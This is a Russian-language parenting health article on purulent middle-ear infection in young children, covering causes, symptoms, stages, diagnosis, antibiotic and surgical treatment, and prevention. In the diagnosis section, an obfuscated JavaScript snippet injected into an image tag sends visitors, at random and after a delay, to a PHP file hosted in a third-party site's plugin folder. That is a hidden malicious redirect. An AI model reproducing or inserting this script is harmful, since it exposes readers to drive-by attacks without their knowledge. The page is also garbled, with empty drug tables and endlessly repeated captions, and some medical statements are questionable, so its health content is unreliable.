По статистике, гнойный средний отит диагностируется у каждого третьего ребёнка в возрасте до трёх лет. Такая высокая заболеваемость объясняется анатомическими особенностями строения уха. Чтобы вовремя распознать патологию и начать её лечение, родителям необходимо знать о причинах и симптомах данной болезни.
Содержание
Что такое гнойный средний отит
Гнойный средний отит — это воспаление слизистой оболочки среднего уха, которое сопровождается образованием и скоплением гноя. Обычно патология развивается как осложнение после перенесённой вирусной или бактериальной инфекции, но может возникать и как самостоятельное заболевание.
Специфика заболевания у детей разного возраста
У новорождённых полость уха заполнена особой миксоидной тканью, которая создаёт благоприятные условия для размножения бактерий, увеличивая риск развития отитов.
Начиная с 2–3 недельного возраста миксоидная ткань постепенно рассасывается, но у ослабленных и недоношенных малышей она может сохраняться весь первый год жизни. Кроме того, евстахиева труба у маленьких детей узкая, короткая и прямая, что способствует её закупорке и облегчает проникновение возбудителей болезни в полость уха.
Это интересно! С возрастом строение уха изменяется, поэтому вероятность развития гнойного отита резко падает.
Виды
Гнойный средний отит бывает:
- острым — встречается у детей чаще других видов воспаления уха. Он успешно лечится и обычно не вызывает осложнений. Но несвоевременная диагностика и преждевременное прекращение приёма препаратов часто становятся причиной того, что болезнь приобретает рецидивирующий или хронический характер;
- рецидивирующим — возникает несколько раз за небольшой промежуток времени. В этом случае нужно выяснить и устранить причины, провоцирующие заболевание;
- хроническим — характеризуется нерубцующимся повреждением барабанной перепонки и периодическим образованием и вытеканием гноя. Этот вид заболевания опасен осложнениями.
В зависимости от того, поражено одно или оба уха, воспаление может быть:
- односторонним;
- двусторонним.
Доктор Комаровский об отите — видео
Причины и пути заражения
Есть три способа проникновения инфекции в ухо:
- с током крови — характерен для кори, дифтерии, скарлатины;
- через евстахиеву трубу — встречается чаще всего. Именно так в полость уха проникают бактерии из носоглотки;
- через наружный слуховой проход — возможен при повреждении барабанной перепонки, например, из-за неправильной гигиены ушей.
Причиной гнойного среднего отита могут стать самые разные бактерии или грибы, причём на долю первых выпадает 80% всех случаев заболевания.
Выделяют следующие причины развития отита:
- заражение от матери, у которой диагностирован мастит, пиелонефрит или другие инфекционные болезни;
- ОРВИ, корь, скарлатина, дифтерия и прочие детские заболевания;
- воспаление аденоидов, полипы носа, хронический тонзиллит или другие проблемы с носоглоткой;
- аллергия;
- пониженный иммунитет;
- переохлождение, стресс;
- авитаминоз;
- повреждение барабанной перепонки;
- резкие изменения атмосферного давления;
- частый контакт с водой.
У новорождённых в полости уха может находиться амниотическая жидкость, а у грудничков есть вероятность развития воспаления вследствие попадания пищи в полость барабанной перепонки через слуховую трубу при срыгивании. Молодые мамы должны знать об этой опасности и следить за качеством смеси, стерильностью посуды и обеспечить свободное носовое дыхание малышу.
В группе риска находятся недоношенные дети, а также малыши, отстающие в психомоторном развитии, наборе веса, страдающие диатезом, рахитом, бронхолёгочной патологией.
Симптомы
Главный симптом отита — боль в ушах. Но в зависимости от вида заболевания признаки болезни могут отличаться.
Признаки гнойного отита в зависимости от вида болезни — таблица
Острый гнойный отит | Хронический гнойный отит |
|
|
Высокая температура — необязательный симптом острого воспаления уха. В редких случаях болезнь протекает без неё. Но даже если у ребёнка нет жара, при подозрении на отит малыша всё равно нужно показать врачу для правильной постановки диагноза и назначения адекватного лечения.
Отит вследствие грибковой инфекции в первую очередь характеризуется:
- зудом в слуховом канале;
- повышенной чувствительностью кожи уха;
- головной болью на стороне поражённого уха.
При этом гнойные выделения могут быть разной окраски в зависимости от возбудителя болезни.
Грудные дети обычно отказываются от еды, потому что сосание вызывает острую боль. Они плохо спят, много капризничают, постоянно трут ухо о подушку или трогают его рукой. По этим характерным признакам родители могут заподозрить у ребёнка отит.
Стадии развития болезни
Выраженность тех или иных симптомов на разных стадиях болезни отличается. Острый гнойный отит делят на три периода в зависимости от состояния барабанной перепонки.
- Период до перфорации (разрыва) — является самым безболезненным, сопровождается повышением температуры и интоксикацией организма и может длиться от нескольких часов до 2–3 дней. Часто при своевременно начатой терапии заболевание удаётся вылечить в этот период.
- Разрыв/прокол барабанной перепонки — характеризуется резким снижением температуры, отсутствием боли, уменьшением интоксикации организма. Понять, что произошёл разрыв, можно по появлению гнойных выделений из уха, которые называются оторея. В первые дни они достаточно обильны, но в дальнейшем их количество сокращается. Этот период длится 5–7 дней, после чего организмом запускаются восстановительные процессы.
- Восстановление барабанной перепонки — постепенно исчезают все симптомы заболевания, а сама барабанная перепонка начинает рубцеваться. Перфорация размером до 1 мм затягивается быстро и не оставляет следов. Более большие отверстия заживают не так стремительно, поэтому в период восстановления может потребоваться наблюдение у специалиста.
Общая продолжительность заболевания обычно не превышает 2–3 недель. Увеличение сроков может свидетельствовать о развитии осложнений.
Снижение слуха после перенесённого отита может наблюдаться на протяжении 2–3 месяцев после выздоровления.
Методы диагностики
Для выявления гнойного отита и определения схемы лечения применяются разные способы диагностики.
- Отоскопия — визуальный осмотр барабанной перепонки. Позволяет определить наличие и количество гноя в ухе, а также другие патологические изменения тонкой физиологической мембраны, отделяющей наружный и средний отделы: утолщение, гиперемию (покраснение), выпячивание или перфорацию.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2016/07/otit-u-detey-728×546.jpg» alt=»Исследование состояния барабанной перепонки» width=»728″ height=»546″ /> Отоскопия производится ЛОР-врачом при осмотре ребёнка с помощью специального инструмента
- Лабораторный анализ гнойного содержимого — помогает установить возбудителя болезни и, соответственно, подобрать наиболее эффективные лекарственные препараты.
- Рентген височных костей (показан при осложнённом отите) — даёт возможность выявить патологические изменения строения уха.
- Диагностика остроты слуха (необходима при рецидивирующем или хроническом отите). Позволяет исследовать проходимость слуховой трубы и степень подвижности системы косточек среднего уха.
При подозрении на развитие внутричерепных осложнений вследствие гнойного отита необходима консультация невролога.
Лечение
Выделяют два основных направления лечения среднего гнойного отита:
- консервативное — применение лекарственных препаратов;
- хирургическое — прокол барабанной перепонки.
Консервативное
Консервативное лечение направлено на восстановление проходимости слуховой трубы, устранение симптомов болезни, снятие воспаления, уничтожение бактерий при помощи лекарств. Группы препаратов, используемых в педиатрии, их торговые названия и назначение приведены в таблице.
Препараты, используемые в педиатрии для лечения среднего гнойного отита — таблица
Группы препаратов | Цель применения | Примеры лекарственных средств |
Сосудосуживающие капли в нос | Уменьшение отёка слизистой оболочки евстахиевой трубы. |
|
Обезболивающие и жаропонижающие средства |
|
|
Местные препараты для закапывания в слуховой проход |
|
|
Антибиотики | Уничтожение бактерий, вызвавших гнойный отит. |
При аллергии на лактамные антибиотики назначают современные макролиды (Рулид, Ровамицин). |
Иммуномодулирующие | Укрепление иммунной системы. |
|
Лекарственные средства для детей — галерея
- Гнойный отит характеризуется образованием и скоплением гноя в полости среднего уха
- Отоскопия производится ЛОР-врачом при осмотре ребёнка с помощью специального инструмента
- При отите ребёнок постоянно трогает уши руками, капризничает и плачет
- Строение уха
- Строение уха
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- Отривин
- Нурофен
- Панадол
- Амоксициллин
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- Отривин
- Нурофен
- Панадол
- Амоксициллин
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- Отривин
- Нурофен
- Панадол
- Амоксициллин
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- Отривин
- Нурофен
- Панадол
- Амоксициллин
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- Отривин
- Нурофен
- Панадол
- Амоксициллин
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
- Отривин
- Нурофен
- Панадол
- Амоксициллин
- У маленьких пациентов гнойный средний отит может развиться в результате попадания пищи в полость барабанной перепонки через евстахиеву трубу при срыгивании
Что нужно помнить родителям
Больше всего вопросов у родителей возникает по поводу необходимости использования антибиотиков. Терапия гнойного отита без использования подобных препаратов сопряжена с большим риском.
Особенности:
- антибиотики имеют накопительный эффект, поэтому препараты принимают продолжительное время и в повышенных дозах. Для малышей первых двух лет жизни, а также детей, посещающих садик, минимальная длительность терапии составляет 10 дней. В остальных случаях достаточно 5 дней;
Преждевременное прекращение приёма антибиотиков, даже в случае исчезновения всех симптомов отита, может привести к рецидиву заболевания и спровоцировать развитие серьёзных осложнений.
- если у ребёнка нарушена целостность барабанной перепонки, то некоторые местные препараты при попадании в полость уха могут нанести непоправимый вред. Поэтому использовать ушные капли самостоятельно до осмотра врача нельзя.
Прокол барабанной перепонки
В некоторых случаях консервативного лечения бывает недостаточно, тогда врачи проводят прокол барабанной перепонки. Благодаря этой процедуре снижаются болевые ощущения, нормализуется температура тела, уменьшается воспаление, предупреждается развитие тугоухости.
Показания для операции:
- повышение давления внутри уха из-за скопившегося там гноя;
- сильная боль;
- затруднённый отток гноя из-за слишком маленького самостоятельно возникшего разрыва;
- развитие осложнений.
Если врач считает нужным произвести прокол, то это нужно сделать в кратчайшие сроки для исключения осложнений.
Прокол проводят под местной анестезией. После разреза важно обеспечить хороший отток гноя из барабанной полости. Для этого в слуховой проход вводится стерильная марлевая турунда, назначаются промывания ортоборной кислотой, фурацилином, перекисью водорода и другими растворами.
После того как прекратилось вытекание гноя, прокол/разрыв быстро заживает. На его месте может образоваться небольшой рубец, который никак не влияет на остроту слуха.
Возможные последствия и осложнения
Отит — опасное заболевание. Неправильно назначенное или поздно начатое лечение может привести к ряду осложнений.
- Ухудшение слуха вплоть до полной его потери. Это тормозит развитие речи и снижает интеллектуальные способности ребёнка.
- Менингеальный синдром — раздражение мозговых оболочек.
- Лабиринтит — воспаление внутреннего уха. При этом увеличивается риск развития более серьёзных осложнений, для которых характерно поражение височной кости (зигоматицит и мастоидит), паралич лицевого нерва.
- Воспаление мозговых оболочек и мозга, абсцесс, сепсис.
Опасные последствия гнойного среднего отита должны побудить родителей задуматься о профилактике этого заболевания ещё в период беременности.
Профилактические меры
Для предупреждения возникновения гнойного отита необходимо предпринять ряд мер, позволяющих повысить сопротивляемость организма ребёнка к вирусам и бактериям и снизить риск закупорки евстахиевой трубы.
- Грудное вскармливание укрепляет иммунитет ребёнка и помогает предупредить простудные заболевания, осложнением которых является отит.
- Прививание от гемофильной инфекции и других детских болезней.
- Укрепление иммунитета и предупреждение изменения давления в полости уха: правильное сбалансированное питание, закаливание, использование сосудосуживающих капель при перелётах и т. д.
- Безопасная гигиена, исключающая травматизацию барабанной перепонки ватными палочками и прочими приспособлениями для ухода за ушами.
- Обучение ребёнка правильному сморканию.
- Своевременное лечение заболеваний носоглотки, способных стать причиной гнойного отита.
Если у вашего малыша заболело ухо, то необходимо как можно скорее обратиться к врачу. Своевременная диагностика и адекватное лечение помогут избежать серьёзных осложнений, а заблаговременно принятые профилактические меры сведут к минимуму риск появления гнойного среднего отита.